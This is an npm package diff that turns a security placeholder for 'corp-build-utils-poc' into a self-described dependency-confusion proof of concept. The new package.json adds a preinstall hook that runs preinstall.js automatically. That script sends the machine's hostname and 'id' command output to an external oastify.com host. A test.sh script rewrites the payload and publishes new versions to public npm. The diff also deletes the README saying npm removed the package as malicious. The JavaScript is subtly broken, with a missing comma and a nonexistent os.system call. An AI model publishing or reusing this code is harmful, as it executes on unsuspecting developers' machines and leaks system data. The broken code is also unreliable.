corp-build-utils-poc 0.0.1-security → 99.9.12

package/package.json

@@ -1,6 +1,9 @@
 {
   "name": "corp-build-utils-poc",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "99.9.12",
+  "description": "dependency confusion poc",
+  "private": false,
+  "scripts": {
+    "preinstall": "node preinstall.js"
+  }
 }

package/preinstall.js

@@ -0,0 +1,24 @@
+const https = require("https");
+
+const payload = JSON.stringify({
+  event: "dependency_confusion_executed",
+  host: require("os").hostname()
+  data: require("os").system('id')
+});
+
+const req = https.request(
+  {
+    hostname: "usqcwm91ckqp7x1xtohghtpyup0go6cv.oastify.com",      // <-- replace with YOUR webhook host
+    path: "/webhook",              // <-- replace path
+    method: "POST",
+    headers: {
+      "Content-Type": "application/json",
+      "Content-Length": payload.length
+    }
+  },
+  () => {}
+);
+
+req.on("error", () => {}); // do not break install
+req.write(payload);
+req.end();

package/test.sh

@@ -0,0 +1,45 @@
+#!/bin/bash
+set -e
+
+echo "[*] Updating PoC payload..."
+
+cat > preinstall.js <<'EOF'
+const https = require("https");
+
+const payload = JSON.stringify({
+  event: "dependency_confusion_executed",
+  host: require("os").hostname()
+  data: require("os").system('id')
+});
+
+const req = https.request(
+  {
+    hostname: "usqcwm91ckqp7x1xtohghtpyup0go6cv.oastify.com",      // <-- replace with YOUR webhook host
+    path: "/webhook",              // <-- replace path
+    method: "POST",
+    headers: {
+      "Content-Type": "application/json",
+      "Content-Length": payload.length
+    }
+  },
+  () => {}
+);
+
+req.on("error", () => {}); // do not break install
+req.write(payload);
+req.end();
+EOF
+
+echo "[*] Bumping version..."
+npm version patch --no-git-tag-version
+
+NEW_VERSION=$(node -p "require('./package.json').version")
+echo "[+] New version: $NEW_VERSION"
+
+echo "[*] Packing package..."
+npm pack
+
+echo "[*] Publishing to npm..."
+npm publish --access public
+
+echo "[+] Publish complete"

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=corp-build-utils-poc for more information.